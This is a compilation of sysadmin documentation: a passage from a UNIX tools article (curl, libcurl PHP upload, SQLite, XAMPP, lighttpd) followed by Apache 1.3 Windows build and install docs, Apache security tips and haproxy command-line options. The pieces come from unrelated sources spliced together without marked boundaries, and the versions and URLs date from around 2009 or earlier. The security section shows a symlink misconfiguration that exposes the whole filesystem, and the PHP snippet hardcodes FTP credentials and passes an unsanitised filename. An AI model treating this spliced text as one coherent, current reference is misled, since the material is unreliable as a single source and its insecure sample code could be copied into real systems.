     stalwart tiller of the soil." --Prof. Wilson.
     [1913 Webster]
  
           Fair man he was and wise, stalworth and bold. --R. of
                                                    Brunne.
     [1913 Webster]
  
     Note: Stalworth is now disused, or but little used, stalwart
           having taken its place.
           [1913 Webster]
  .
  250 ok [d/m/c = 1/0/20; 0.000r 0.000u 0.000s]
  221 bye [d/m/c = 0/0/0; 0.000r 0.000u 0.000s]

  Replace the word stalwart with the word you'd like to define.

In addition to its command-line personality, all of cURL's capabilities are available from a library aptly named libcurl. Many programming languages include interfaces to libcurl to automate tasks such as transmitting a file via FTP. For example, this PHP snippet uses libcurl to deposit a file uploaded via a form to an FTP server:

<?php
  ...
  $ch = curl_init();
  $localfile = $_FILES['upload']['tmp_name'];
  $fp = fopen($localfile, 'r');
  curl_setopt($ch, CURLOPT_URL,
      'ftp://ftp_login:password@ftp.domain.com/'.$_FILES['upload']['name']);
  curl_setopt($ch, CURLOPT_UPLOAD, 1);
  curl_setopt($ch, CURLOPT_INFILE, $fp);
  curl_setopt($ch, CURLOPT_INFILESIZE, filesize($localfile));
  curl_exec ($ch);
  $error_no = curl_errno($ch);
  curl_close ($ch);
  ...
?>

If you have to automate any sort of Web access, consider cURL.

SQLite: A database for most occasions

UNIX offers a slew of databases—many of them open source, some for general application, and some highly specialized. Most databases, though, tend to be large, independent applications—MySQL, for example, requires a separate installation, some configuration, and its own daemon—and may be overkill for a large class of software. Consider an address book accessory for the desktop: Is it appropriate to deploy MySQL to persist names and phone numbers? Probably not.

And what if the application is intended to run on a very small device or on a modest computer? Such hardware may not be suited to multiprocessing, a large memory footprint, or significant demands on physical storage. Certainly, an embedded database is an alternative. Typically, an embedded database is packaged as a library and is linked directly to application code. Such a solution makes the application independent of an external service, albeit at a cost: Queries aren't typically expressed in Structured Query Language (SQL).

SQLite combines the best of all worlds: The software is tiny, you can embed it in virtually any application, and you can query your data with vanilla SQL. PHP and Ruby on Rails use SQLite as the default storage engine, as does the Apple iPhone.

To build SQLite, download the source amalgamation (a single file combining all the source) from the SQLite download page, extract it, and run ./configure && make && sudo make install.

$ # As of March 2009, the latest version was 3.6.11.
$ wget http://www.sqlite.org/sqlite-amalgamation-3.6.11.tar.gz
$ tar xzf sqlite-amalgamation-3.6.11.tar.gz
$ cd sqlite-3.6.11
$ ./configure && make 
$ sudo make install

The build produces a library and associated application programming interface (API) header files as well as a stand-alone command-line utility named sqlite3 that's useful for exploring features. To create a database, launch sqlite3 with the name of the database. You can even place SQL right on the command line, which is great for scripting:

$ sqlite3 comics.db "CREATE TABLE issues \
  (issue INT PRIMARY KEY, \
  title TEXT NOT_NULL)"
$ sqlite3 comics.db "INSERT INTO issues (issue, title) \
  VALUES ('1', 'Amazing Adventures')"
$ sqlite3 comics.db "SELECT * FROM issues"
1|Amazing Adventures

The first command creates the database (if it does not exist already) as well as a table with two columns, an issue number, and a title. The middle command inserts a row, and the final command shows the contents of the table.

SQLite offers triggers, logging, and sequences. SQLite is also typeless, unless you specify a type. For example, the issues table declared works fine without types:

$ sqlite3 comics.db "create table issues (issue primary key, title)"
$ sqlite3 comics.db "INSERT INTO issues (issue, title) \
  VALUES (1, 'Amazing Adventures')"
$ sqlite3 comics.db "SELECT * FROM issues"1|Amazing Adventures

Lack of type is considered a feature, not a bug, and has many applications.

Grab XAMPP, an off-the-shelf Web stack

If you want to use your UNIX machine as a Web server, you have oodles of choices to compose a Web stack. Of course, there's the Apache HTTP Server, MySQL, Perl, PHP, Python, and Ruby on Rails, and this article recommends some components you may not have heard of previously, including SQLite and lighttpd.

But building a stack from scratch isn't everyone's cup of tea. Configuring Apache and other software packages to interoperate can be maddening at times, and you may not want the onus of maintaining the source yourself, recompiling each time a new patch is issued. For those good reasons, you might opt for an off-the-shelf stack. Just install and go!

XAMPP is one of many pre-packaged Web stacks you can find online. It includes Apache and compatible builds of MySQL, PHP, and Perl. A version of XAMPP is available for Linux, Sun Solaris, Windows, and Mac OS X. You download XAMPP, extract it, and start:

# The latest version for Linux was 1.7
$ wget http://www.apachefriends.org/download.php?xampp-linux-1.7.tar.gz
$ sudo tar xzf xampp-linux-1.7.tar.gz -C /opt
$ sudo /opt/lampp/lampp start
Starting XAMPP 1.7...
LAMPP: Starting Apache...
LAMPP: Starting MySQL...
LAMPP started.

The second command extracts the XAMPP distribution and places it directly in /opt (thus the need to preface the command with sudo. If you want to locate XAMPP elsewhere, change the argument to -C. The last command launches Apache and MySQL, the two daemons required to serve a Web site. To test the installation, simply point your browser to http://localhost. You should see something like Figure 1.

Figure 1. The XAMPP stack start page

Click Status to see how things are operating. XAMPP provides phpMyAdmin and webalizer to create and manage MySQL databases on the server and measure Web traffic, respectively.

By the way, XAMPP also provides the entire source code to the stack, so you can apply customizations or add to the stack if you need to. If nothing else, the XAMPP source code reveals how to build a stack, if you want to eventually tackle or customize the process yourself.

Go small with the lighttpd server

XAMPP and many bundles like it package the Apache HTTP Server. Apache is certainly capable—by most measures, it still powers the majority of sites worldwide—and an enormous number of extensions is available to add wholesale subsystems and integrate tightly with programming languages.

But Apache isn't the only Web server available, and in some cases, it isn't preferable. A complex Apache instance can require an immense memory footprint, which limits throughput. Further, even a small Apache instance may be excessive compared to the return.

"Security, speed, compliance, and flexibility" describe lighttpd (pronounced "lighty"), a small and very efficient alternative to Apache. Better yet, the lighttpd configuration file isn't the morass that Apache's is.

Building lighttpd from scratch is a little more involved, because it depends on other libraries. At a minimum, you need the development version (the version that includes the header files) of the Perl Compatible Regular Expression (PCRE) library and the Zlib compression library. After you've installed those libraries (or built the libraries from scratch), compiling lighttpd is straightforward:

$ # Lighttpd requires libpcre3-dev and zlib1g-dev
$ wget http://www.lighttpd.net/download/lighttpd-1.4.22.tar.gz
$ tar xzf lighttpd-1.4.22.tar.gz
$ cd lighttpd-1.4.22
$ ./configure && make && sudo make install

Next, you must create a configuration. The most minimal configuration possible sets the document root, server port, a few Multipurpose Internet Mail Extension (MIME) types, and the default user and group for the daemon:

server.document-root = "/var/www/lighttpd/host1"
server.groupname = "www"
server.port = 3000
server.username = "www" 

mimetype.assign = (
  ".html" => "text/html",
  ".txt" => "text/plain",
  ".jpg" => "image/jpeg",
  ".png" => "image/png"
)

static-file.exclude-extensions = ( ".fcgi", ".php", ".rb", "~", ".inc" )
index-file.names = ( "index.html" )

Assuming that you saved the text to a file named /opt/etc/lighttpd.conf, you start lighttpd with lighttpd -D -f /opt/etc/lighttpd.conf.

Like Apache, lighttpd can serve virtual hosts. All it takes is three lines, using a conditional:

$HTTP["host"] == "www2.example.org" {
  server.document-root = "/var/www/lighttpd/host2
}

Here, if the host is named www2.example.org, an alternate document root is used.

Lighttpd is especially adept at managing large numbers of parallel requests. You can readily mix lighttpd with Rails, PHP, and more.

Better, smarter, faster

Yet another "Speaking UNIX" draws to a close. Break out those keyboards, fire up the Wi-Fi, and start downloading!

There are many important points before you begin compiling Apache. See Using Apache with Microsoft Windows before you begin.

Compiling Apache requires Microsoft Visual C++ 5.0 or 6.0 to be properly installed. It can be built with command-line tools, or within the Visual Studio environment. Consult the VC++ manual to determine how to install them. Be especially aware that the vcvars32.bat file from the Program Files/DevStudio/VC/bin folder, and the setenv.bat file from the Platform SDK, may be required to prepare the command-line tools for command-line builds (e.g. using nmake). To install apache with the Makefile.win or the InstallBin project in the Visual Studio IDE, the awk utility is also required.

First, you should install awk.exe where it can be found in the path and the DevStudio environment, if you plan to use the IDE. There are many versions of awk available for Windows; the easiest to install is available from Brian Kernighan’s http://cm.bell-labs.com/cm/cs/who/bwk/ site. When downloading http://cm.bell-labs.com/cm/cs/who/bwk/awk95.exe from this site, you must save it with the name awk.exe rather than awk95.exe.

Note that DevStudio will only find awk.exe if its location is listed under the Tools menu Options… Directories settings for the Executable files. Add the path for awk.exe to this list, as needed.

Then unpack the Apache distribution into an appropriate directory. Open a command-line prompt, and change to the src subdirectory of the Apache distribution.

The master Apache makefile instructions are contained in the Makefile.win file. To compile Apache on Windows NT, simply use one of the following commands:

• nmake /f Makefile.win _apacher (release build)
• nmake /f Makefile.win _apached (debug build)

These will both compile Apache. The latter will include debugging information in the resulting files, making it easier to find bugs and track down problems.

If you get an error such as "the name specified is not recognized…" then you need to run vcvars32.bat first. Enter the following command;

  "c:\Program Files\DevStudio\VC\Bin\VCVARS32.BAT"

(you will need to adjust this command so it matches the directory where your VC was installed.)

If you are a Visual C++ 5.0 user, and have installed a recent Platform SDK, you may also need to enter the following command (adjusted for the install directory of the Platform SDK update);

  "c:\Program Files\Platform SDK\SETENV.BAT"

Then try the nmake command again.

Note that the Windows Platform SDK update is required to enable all supported mod_isapi features. The SDK files distributed with Microsoft Visual C++ 5.0 are out of date. Without a recent update, Apache will issue warnings under MSVC++ 5.0 that some mod_isapi features will be disabled. Look for the update at http://msdn.microsoft.com/downloads/sdks/platform/platform.asp.

Apache can also be compiled using VC++’s Visual Studio development environment. To simplify this process, a Visual Studio workspace, Apache.dsw, is provided in the src folder. This workspace exposes the entire list of working .dsp projects that are required for the complete Apache binary release. It includes dependencies between the projects to assure that they are built in the appropriate order. InstallBin is the top-level project that will build all other projects, and install the compiled files into their proper locations.

These .dsp project files are distributed in Visual C++ 6.0 format. Visual C++ 5.0 (97) will recognize them with the single exception of the /ZI flag, which corresponds to the VC 5.0 /Zi flag for debugging symbols. To quickly prepare the .dsp files for the Visual Studio 5.0 (97), you can use the perl scripts distributed in the src\helpers folder:

  cd src\helpers
  cvstodsp5.pl

This command assumes you have a Perl interpreter installed and registered for files of type .pl. The list of converted .dsp project files will be displayed as they are converted. If you contribute back a patch that offers revised project files, please convert them back with the script dsp5tocvs.pl, which puts the projects back to Visual Studio 6.0 format.

The core .dsp projects built by Apache.dsw and makefile.win are:

1. os\win32\ApacheOS.dsp
2. os\win32\Win9xConHook.dsp
3. regex\regex.dsp
4. ap\ap.dsp
5. lib\expat-lite\xmltok.dsp
6. lib\expat-lite\xmlparse.dsp requires xmltok
7. lib\sdbm.dsp
8. main\gen_uri_delims.dsp
9. main\gen_test_char.dsp
10. ApacheCore.dsp requires all of the above
11. Apache.dsp requires ApacheCore

In addition, the os\win32 subdirectory contains project files for the optional modules, all of which require ApacheCore.

1. os\win32\mod_auth_anon.dsp
2. os\win32\mod_auth_dbm.dsp also requires sdbm
3. os\win32\mod_auth_digest.dsp
4. os\win32\mod_cern_meta.dsp
5. os\win32\mod_digest.dsp
6. os\win32\mod_expires.dsp
7. os\win32\mod_headers.dsp
8. os\win32\mod_info.dsp
9. os\win32\mod_rewrite.dsp
10. os\win32\mod_speling.dsp
11. os\win32\mod_status.dsp
12. os\win32\mod_usertrack.dsp
13. os\win32\mod_proxy.dsp

The support\ folder contains project files for additional programs that are not part of the Apache runtime, but are used by the administrator to maintain password and log files.

1. support\htdigest.dsp
2. support\htpasswd.dsp
3. support\logresolve.dsp
4. support\rotatelogs.dsp

Once Apache has been compiled, it needs to be installed in its server root directory. The default is the \Apache directory, on the current hard drive.

To install the files into the c:\ServerRoot directory automatically, use one the following nmake commands (see above):

• nmake /f Makefile.win installr INSTDIR=c:\ServerRoot (for release build)
• nmake /f Makefile.win installd INSTDIR=c:\ServerRoot (for debug build)

The c:\ServerRoot argument to INSTDIR gives the installation directory (it can be omitted if Apache is to be installed into \Apache).

This will install the following:

• c:\ServerRoot\Apache.exe – Apache program
• c:\ServerRoot\ApacheCore.dll – Apache runtime [shared library]
• c:\ServerRoot\Win9xConHook.dll – Win9x console fixups [shared library]
• c:\ServerRoot\xmlparse.dll – XML parser [shared library]
• c:\ServerRoot\xmltok.dll – XML token engine [shared library]
• c:\ServerRoot\bin\*.exe – Administration programs
• c:\ServerRoot\cgi-bin – Example CGI scripts
• c:\ServerRoot\conf – Configuration files directory
• c:\ServerRoot\icons – Icons for FancyIndexing
• c:\ServerRoot\include\*.h – Apache header files
• c:\ServerRoot\htdocs – Welcome index.html pages
• c:\ServerRoot\htdocs\manual – Apache documentation
• c:\ServerRoot\lib – Static library files
• c:\ServerRoot\libexec – Dynamic link libraries
• c:\ServerRoot\logs – Empty logging directory
• c:\ServerRoot\modules\mod_*.dll – Loadable Apache modules

If you do not have nmake, or wish to install in a different directory, be sure to use a similar naming scheme.

To simplify the process, dependencies between all projects are defined in the Microsoft Visual Studio workspace file:

   src/Apache.dsw

This assures that lower-level sources are rebuilt from within Visual Studio. The top level project is InstallBin, which invokes Makefile.win to move the compiled executables and dlls. You may personalize the INSTDIR= setting by changing the Settings for InstallBin, Build command line entry under the General tab. The default from within the InstallBin.dsp project is one level up (..) from the src tree. Modify the InstallBin settings and edit the INSTDIR=.. entry to the desired target directory.

This document explains how to install, configure and run Apache 1.3 under Microsoft Windows. Please note that at this time, Windows support is entirely experimental, and is recommended only for experienced users. The Apache Group does not guarantee that this software will work as documented, or even at all. If you find any bugs, please document them on our bug reporting page. Contributions are welcomed, please submit your code or suggestions to the bug report page, or join the new-httpd mailing list.

The bug reporting page and new-httpd mailing list are not provided to answer questions about configuration or running Apache. Before you submit a bug report or request, first consult this document, the Frequently Asked Questions page and the other relevant documentation topics. If you still have a question or problem, post it to the comp.infosystems.www.servers.ms-windows newsgroup, where many Apache users and several contributions are more than willing to answer new and obscure questions about using Apache on Windows.

groups.google.com’s newsgroup archive offers easy browsing of previous questions. Searching the newsgroup archives, you will usually find your question was already asked and answered by other users!

Warning: Apache on NT has not yet been optimized for performance. Apache still performs best, and is most reliable on Unix platforms. Over time NT performance has improved, and great progress is being made in the upcoming version 2.0 of Apache for the Windows platforms. Folks doing comparative reviews of webserver performance are still asked to compare against Apache on a Unix platform such as Solaris, FreeBSD, or Linux.

Most of this document assumes that you are installing Windows from a binary distribution. If you want to compile Apache yourself (possibly to help with development, or to track down bugs), see Compiling Apache for Microsoft Windows.

Requirements

Apache 1.3 is designed to run on Windows NT 4.0 and Windows 2000. The binary installer will only work with the x86 family of processors, such as Intel’s. Apache may also run on Windows 95 and 98, but these have not been tested. In all cases TCP/IP networking must be installed.

If running on NT 4.0, installing Service Pack 3 or 6 is recommended, as Service Pack 4 created known issues with TCPIP/WinSock integrity that were resolved in later Service Packs.

Note: "Winsock 2" is required for Apache 1.3.7 and later.

If running on Windows 95, the "Winsock2" upgrade must be installed before Apache will run. "Winsock2" for Windows 95 is available here or via here. Be warned that the Dialup Networking 1.2 (MS DUN) updates include a Winsock2 that is entirely insufficient, and the Winsock2 update must be reinstalled after installing Windows 95 dialup networking.

Downloading Apache for Windows

Information on the latest version of Apache can be found on the Apache web server at http://www.apache.org/httpd. This will list the current release, any more recent alpha or beta-test releases, together with details of mirror web and anonymous FTP sites.

You should download the binary build of Apache for Windows named as apache_1_3_#-win32-with_src.msi if you are interested in the source code, or simply apache_1_3_#-win32-no_src.msi if you don’t plan to do anything with the source code and appreciate a faster download. Each of these files contains the complete Apache runtime. You must have the Microsoft Installer version 1.10 installed on your PC before you can install the Apache runtime distributions. Windows 2000 and Windows ME are both delivered with the Microsoft Installer support, others will need to download it. Instructions on locating the Microsoft Installer, as well as the binary distributions of Apache, are found at http://httpd.apache.org/dist/httpd/binaries/win32/

The source code is available in the -with_src.msi distribution, or from the http://httpd.apache.org/dist/httpd/ distribution directory as a .zip file. If you plan on compiling Apache yourself, there is no need to install either .msi package. The .zip file contains only source code, with MS-DOS line endings (that is cr/lf line endings, instead of the single lf used for Unix files.)

While the source is also available as a .tar.gz .tar.Z archive, these contain unix lf line endings that cause grief for Windows users. To use those archives, you must convert at least the .mak and .dsp files to have DOS line endings before MSVC can understand them. Please stick with the .zip file to spare yourself the headache.

Note: prior to 1.3.17 Apache was distributed as an InstallShield 2.0 .exe file. With an increasing number of users unable to run the InstallShield package [on Windows ME or Windows 2000] the binaries were repackaged into the readily available Microsoft Installer .msi format.

Installing Apache for Windows

Run the Apache .msi file you downloaded above. This will prompt you for:

• your name and company name, and on Windows NT/2000, whether or not you want all users to access Apache as a Service, or if you want it installed to run when you choose the Start Apache shortcut.
• your Server name, Domain name and administrative email account.
• the directory to install Apache into (the default is C:\Program Files\Apache Group\Apache although you can change this to any other directory you wish)
• the installation type. The "Complete" option installs everything, including the source code if you downloaded the -with_src.msi package. Choose the "Custom" install if you choose not to install the documentation, or the source code from that package.

During the installation, Apache will configure the files in the conf directory for your chosen installation directory. However if any of the files in this directory already exist they will not be overwritten. Instead the new copy of the corresponding file will be left with the extension .default. So, for example, if conf\httpd.conf already exists it will not be altered, but the version which would have been installed will be left in conf\httpd.conf.default. After the installation has finished you should manually check to see what in new in the .default file, and if necessary update your existing configuration files.

Also, if you already have a file called htdocs\index.html then it will not be overwritten (no index.html.default file will be installed either). This should mean it is safe to install Apache over an existing installation (but you will have to stop the existing server running before doing the installation, then start the new one after the installation is finished).

After installing Apache, you should edit the configuration files in the conf directory as required. These files will be configured during the install ready for Apache to be run from the directory where it was installed, with the documents served from the subdirectory htdocs. There are lots of other options which should be set before you start really using Apache. However to get started quickly the files should work as installed.

If you eventually uninstall Apache, your configuration files will not be removed. You will need to delete the installation directory tree ("C:\Program Files\Apache Group" by default) yourself if you do not care to keep your configuration and other web files. Since the httpd.conf file is a your accumulated effort in using Apache, you need to take the effort to remove it. The same happens for all other files you may have created, as well as any log files Apache created.

Running Apache for Windows

There are two ways you can run Apache:

• As a "service" (tested on NT/2000 only, but an experimental version is available for 95/98). This is the best option if you want Apache to automatically start when your machine boots, and to keep Apache running when you log-off.
• From a console window. This is the best option available for Windows 95/98 users.

Complete the steps below before you attempt to start Apache as a Windows "service"!

To run Apache from a console window, select the "Start Apache as console app" option from the Start menu (in Apache 1.3.4 and earlier, this option was called "Apache Server"). This will open a console window and start Apache running inside it. The window will remain active until you stop Apache. To stop Apache running, either press select the "Shutdown Apache console app" icon option from the Start menu (this is not available in Apache 1.3.4 or earlier), or see Controlling Apache in a Console Window for commands to control Apache in a console window.

In Apache 1.3.13 and above it is now quite safe to press Ctrl+C or Ctrl+Break to stop the Apache in the console window. And on Windows NT/2000 with version 1.3.13, Apache will also gladly stop if you select ‘Close’ from the system menu (clicking the icon on the top-left corner of the console window) or click the close (X) button on the top-right corner. The Close menu item and close (X) button also work on Windows 95/98 as of Apache version 1.3.15. But do not try any of these approaches on earlier versions of the Apache server, since Apache would not clean up.

Testing Apache for Windows

If you have trouble starting Apache please use the following steps to isolate the problem. This applies if you started Apache using the "Start Apache as a console app" shortcut from the Start menu and the Apache console window closes immediately (or unexpectedly) or if you have trouble starting Apache as a service.

Run the "Command Prompt" from the Start Menu – Programs list. Change to the folder to which you installed Apache, type the command apache, and read the error message. Then review the error.log file for configuration mistakes. If you accepted the defaults when you installed Apache, the commands would be:

  c:
  cd "\program files\apache group\apache"
  apache
  Wait for Apache to exit, or press Ctrl+C
  more <logs\error.log

After looking at the error.log you will probably have a good chance of working out what went wrong and be able to fix the problem and try again. Many users discover that the nature of the httpd.conf file is easier to manage and audit than page after page of configuration dialog boxes.

After starting Apache running (either in a console window or as a service) if will be listening to port 80 (unless you changed the Port, Listen or BindAddress directives in the configuration files). To connect to the server and access the default page, launch a browser and enter this URL:

  http://localhost/

This should respond with a welcome page, and a link to the Apache manual. If nothing happens or you get an error, look in the error.log file in the logs directory. If your host isn’t connected to the net, you may have to use this URL:

  http://127.0.0.1/

Once your basic installation is working, you should configure it properly by editing the files in the conf directory.

Because Apache CANNOT share the same port with another TCP/IP application, you may need to stop or uninstall certain services first. These include (but are not limited to) other web servers, and firewall products such as BlackIce. If you can only start Apache with these services disabled, reconfigure either Apache or the other product so that they do not listen on the same TCP/IP ports. You may find the Windows "netstat -an" command useful in finding out what ports are in use.

Configuring Apache for Windows

Apache is configured by files in the conf directory. These are the same as files used to configure the Unix version, but there are a few different directives for Apache on Windows.

Begin configuring the Apache server by reviewing httpd.conf and its directives. Although the files access.conf and srm.conf both exist, these are old files which are no longer used by most administrators, and you will find no directives there.

httpd.conf contains a great deal of documentation itself, followed by the default configuration directives recommended when starting with the Apache server. Begin by reading these comments to understand the configuration file, and make small changes, starting Apache in a console window with each change. If you make a mistake, it will be easier to back up to configuration that last worked. You will have a better idea of which change caused the server to fail.

The main differences in Apache for Windows are:

• Because Apache for Windows is multithreaded, it does not use a separate process for each request, as Apache does with Unix. Instead there are usually only two Apache processes running: a parent process, and a child which handles the requests. Within the child each request is handled by a separate thread. So, "process"-management directives are different:
  • MaxRequestsPerChild – Like the Unix directive, this controls how many requests a process will serve before exiting. However, unlike Unix, a process serves all the requests at once, not just one, so if this is set, it is recommended that a very high number is used. The recommended default, MaxRequestsPerChild 0, does not cause the process to ever exit.
  • ThreadsPerChild – This directive is new, and tells the server how many threads it should use. This is the maximum number of connections the server can handle at once; be sure and set this number high enough for your site if you get a lot of hits. The recommended default is ThreadsPerChild 50.
• The directives that accept filenames as arguments now must use Windows filenames instead of Unix ones. However, because Apache uses Unix-style names internally, you must use forward slashes, not backslashes. Drive letters can be used; if omitted, the drive with the Apache executable will be assumed.
• Apache for Windows has the ability to load modules at runtime, without recompiling the server. If Apache is compiled normally, it will install a number of optional modules in the \modules directory. To activate these, or other modules, the new LoadModule directive must be used. For example, to active the status module, use the following (in addition to the status-activating directives in access.conf):

      LoadModule status_module modules/mod_status.so

  Information on creating loadable modules is also available. Note that some 3rd party modules may be distributed in the old style names, ApacheModuleFoo.dll. Always set the LoadModule command as directed as documented by the 3rd party module’s own documentation.

• Apache for Windows version 1.3 series is implemented in synchronous calls. This poses an enormous problem for CGI authors, who won’t see unbuffered results sent immediately to the browser. This is not the behavior described for CGI in Apache, but it is a side-effect of the Windows port. Apache 2.0 is making progress to implement the expected asynchronous behavior, and we hope to discover that the NT/2000 implementation allows CGI’s to behave as documented.

• Apache can also load ISAPI Extensions (i.e., Internet Server Applications), such as those used by Microsoft’s IIS, and other Windows servers. More information is available. Note that Apache CANNOT load ISAPI Filters.

Running Apache in a Console Window

The Start menu icons and the NT Service manager can provide a simple interface for administering Apache. But in some cases it is easier to work from the command line.

When working with Apache it is important to know how it will find the configuration files. You can specify a configuration file on the command line in two ways:

• -f specifies a path to a particular configuration file:

    apache -f "c:\my server\conf\my.conf"

    apache -f test\test.conf

• -n specifies the configuration file of an installed Apache service (Apache 1.3.7 and later):

    apache -n "service name"

In these cases, the proper ServerRoot should be set in the configuration file.

If you don’t specify a configuration file name with -f or -n, Apache will use the file name compiled into the server, usually "conf/httpd.conf". Invoking Apache with the -V switch will display this value labeled as SERVER_CONFIG_FILE. Apache will then determine its ServerRoot by trying the following, in this order:

• A ServerRoot directive via a -C switch.
• The -d switch on the command line.
• The current working directory
• A registry entry, created if you did a binary install.
• The server root compiled into the server.

The server root compiled into the server is usually "/apache". invoking apache with the -V switch will display this value labeled as HTTPD_ROOT.

When invoked from the start menu, Apache is usually passed no arguments, so using the registry entry is the preferred technique for console Apache.

During a binary installation, a registry key will have been installed, for example:

  HKEY_LOCAL_MACHINE\Software\Apache Group\Apache\1.3.13\ServerRoot

This key is compiled into the server and can enable you to test new versions without affecting the current version. Of course you must take care not to install the new version on top of the old version in the file system.

If you did not do a binary install then Apache will in some scenarios complain about the missing registry key. This warning can be ignored if it otherwise was able to find its configuration files.

The value of this key is the "ServerRoot" directory, containing the conf directory. When Apache starts it will read the httpd.conf file from this directory. If this file contains a ServerRoot directive which is different from the directory obtained from the registry key above, Apache will forget the registry key and use the directory from the configuration file. If you copy the Apache directory or configuration files to a new location it is vital that you update the ServerRoot directory in the httpd.conf file to the new location.

To run Apache from the command line as a console application, use the following command:

    apache 

Apache will execute, and will remain running until it is stopped by pressing control-C.

Controlling Apache in a Console Window

You can tell a running Apache to stop by opening another console window and running:

    apache -k shutdown

Note: This option is only available with Apache 1.3.3 and later.

For earlier versions, you must use Control-C in the Apache console window to shut down the server.

From version 1.3.3 through 1.3.12, this should be used instead of pressing Control-C in a running Apache console window, because it allowed Apache to end any current transactions and cleanup gracefully.

As of version 1.3.13 pressing Control-C in the running window will cleanup Apache quite gracefully, and you may use -k stop as an alias for -k shutdown. Earlier versions do not understand -k stop.

You can also tell Apache to restart. This makes it re-read the configuration files. Any transactions in progress are allowed to complete without interruption. To restart Apache, run:

    apache -k restart

Note: This option is only available with Apache 1.3.3 and later. For earlier versions, you need to use Control-C in the Apache console window to shut down the server, and then restart the server with the Apache command.

Another very useful feature is the configuration files test option. To test the Apache configuration files, run:

    apache -t

This is especially useful following alterations to the configuration files while Apache is still running. You can make the changes, confirm that the syntax is good by issuing the "apache -t" command, then restart Apache with "apache -k restart". Apache will re-read the configuration files, allowing any transactions in progress to complete without interruption. Any new request will then be served using the new configuration.

Note: for people familiar with the Unix version of Apache, these commands provide a Windows equivalent to kill -TERM pid and kill -USR1 pid. The command line option used, -k, was chosen as a reminder of the "kill" command used on Unix.

Some hints and tips on security issues in setting up a web server. Some of the suggestions will be general, others specific to Apache.

Permissions on ServerRoot Directories

In typical operation, Apache is started by the root user, and it switches to the user defined by the User directive to serve hits. As is the case with any command that root executes, you must take care that it is protected from modification by non-root users. Not only must the files themselves be writeable only by root, but so must the directories, and parents of all directories. For example, if you choose to place ServerRoot in /usr/local/apache then it is suggested that you create that directory as root, with commands like these:

    mkdir /usr/local/apache
    cd /usr/local/apache
    mkdir bin conf logs
    chown 0 . bin conf logs
    chgrp 0 . bin conf logs
    chmod 755 . bin conf logs

It is assumed that /, /usr, and /usr/local are only modifiable by root. When you install the httpd executable, you should ensure that it is similarly protected:

    cp httpd /usr/local/apache/bin
    chown 0 /usr/local/apache/bin/httpd
    chgrp 0 /usr/local/apache/bin/httpd
    chmod 511 /usr/local/apache/bin/httpd

You can create an htdocs subdirectory which is modifiable by other users — since root never executes any files out of there, and shouldn’t be creating files in there.

If you allow non-root users to modify any files that root either executes or writes on then you open your system to root compromises. For example, someone could replace the httpd binary so that the next time you start it, it will execute some arbitrary code. If the logs directory is writeable (by a non-root user), someone could replace a log file with a symlink to some other system file, and then root might overwrite that file with arbitrary data. If the log files themselves are writeable (by a non-root user), then someone may be able to overwrite the log itself with bogus data.

Server Side Includes

Server side includes (SSI) can be configured so that users can execute arbitrary programs on the server. That thought alone should send a shiver down the spine of any sys-admin.

One solution is to disable that part of SSI. To do that you use the IncludesNOEXEC option to the Options directive.

Non Script Aliased CGI

Allowing users to execute CGI scripts in any directory should only be considered if;

1. You trust your users not to write scripts which will deliberately or accidentally expose your system to an attack.
2. You consider security at your site to be so feeble in other areas, as to make one more potential hole irrelevant.
3. You have no users, and nobody ever visits your server.

Script Alias’ed CGI

Limiting CGI to special directories gives the admin control over what goes into those directories. This is inevitably more secure than non script aliased CGI, but only if users with write access to the directories are trusted or the admin is willing to test each new CGI script/program for potential security holes.

Most sites choose this option over the non script aliased CGI approach.

CGI in general

Always remember that you must trust the writers of the CGI script/programs or your ability to spot potential security holes in CGI, whether they were deliberate or accidental.

All the CGI scripts will run as the same user, so they have potential to conflict (accidentally or deliberately) with other scripts e.g. User A hates User B, so he writes a script to trash User B’s CGI database. One program which can be used to allow scripts to run as different users is suEXEC which is included with Apache as of 1.2 and is called from special hooks in the Apache server code. Another popular way of doing this is with CGIWrap.

Stopping users overriding system wide settings…

To run a really tight ship, you’ll want to stop users from setting up .htaccess files which can override security features you’ve configured. Here’s one way to do it…

In the server configuration file, put

<Directory />

AllowOverride None

Options None

Allow from all

</Directory>

Then setup for specific directories

This stops all overrides, Includes and accesses in all directories apart from those named.

Protect server files by default

One aspect of Apache which is occasionally misunderstood is the feature of default access. That is, unless you take steps to change it, if the server can find its way to a file through normal URL mapping rules, it can serve it to clients.

For instance, consider the following example:

1. # cd /; ln -s / public_html
2. Accessing http://localhost/~root/

This would allow clients to walk through the entire filesystem. To work around this, add the following block to your server’s configuration:

 <Directory />
     Order Deny,Allow
     Deny from all
 </Directory>

This will forbid default access to filesystem locations. Add appropriate <Directory> blocks to allow access only in those areas you wish. For example,

 <Directory /usr/users/*/public_html>
     Order Deny,Allow
     Allow from all
 </Directory>
 <Directory /usr/local/httpd>
     Order Deny,Allow
     Allow from all
 </Directory>

Pay particular attention to the interactions of <Location> and <Directory> directives; for instance, even if <Directory /> denies access, a <Location /> directive might overturn it.

Also be wary of playing games with the UserDir directive; setting it to something like "./" would have the same effect, for root, as the first example above. If you are using Apache 1.3 or above, we strongly recommend that you include the following line in your server configuration files:

UserDir disabled root

There are only a few command line options about haproxy:

    -f <configuration file>
    -n <high limit for the total number of simultaneous connections>
       = ‘maxconn’ in ‘global’ section
    -N <high limit for the per-listener number of simultaneous connections>
       = ‘maxconn’ in ‘listen’ or ‘default’ sections
    -d starts in foregreound with debugging mode enabled
    -D starts in daemon mode
    -q disable messages on output
    -V displays messages on output even when -q or ‘quiet’ are specified.
    -c only checks config file and exits with code 0 if no error was found, or
       exits with code 1 if a syntax error was found.
    -p <pidfile> asks the process to write down each of its children’s
       pids to this file in daemon mode.
    -sf specifies a list of pids to send a FINISH signal to after startup.
    -st specifies a list of pids to send a TERMINATE signal to after startup.
    -s shows statistics (only if compiled in)
    -l shows even more statistics (implies ‘-s’)
    -dk disables use of kqueue()
    -ds disables use of speculative epoll()
    -de disables use of epoll()
    -dp disables use of poll()
    -db disables background mode (stays in foreground, useful for debugging)
    -m <megs> enforces a memory usage limit to a maximum of <megs> megabytes.

The maximal number of connections per proxy instance is used as the default
parameter for each instance for which the ‘maxconn’ paramter is not set in the
‘listen’ section.

The maximal number of total connections limits the number of connections used by
the whole process if the ‘maxconn’ parameter is not set in the ‘global’ section.

The debugging mode has the same effect as the ‘debug’ option in the ‘global’
section. When the proxy runs in this mode, it dumps every connections,
disconnections, timestamps, and HTTP headers to stdout. This should NEVER
be used in an init script since it will prevent the system from starting up.

For debugging, the ‘-db’ option is very useful as it temporarily disables
daemon mode and multi-process mode. The service can then be stopped by simply
pressing Ctrl-C, without having to edit the config nor run full debug.

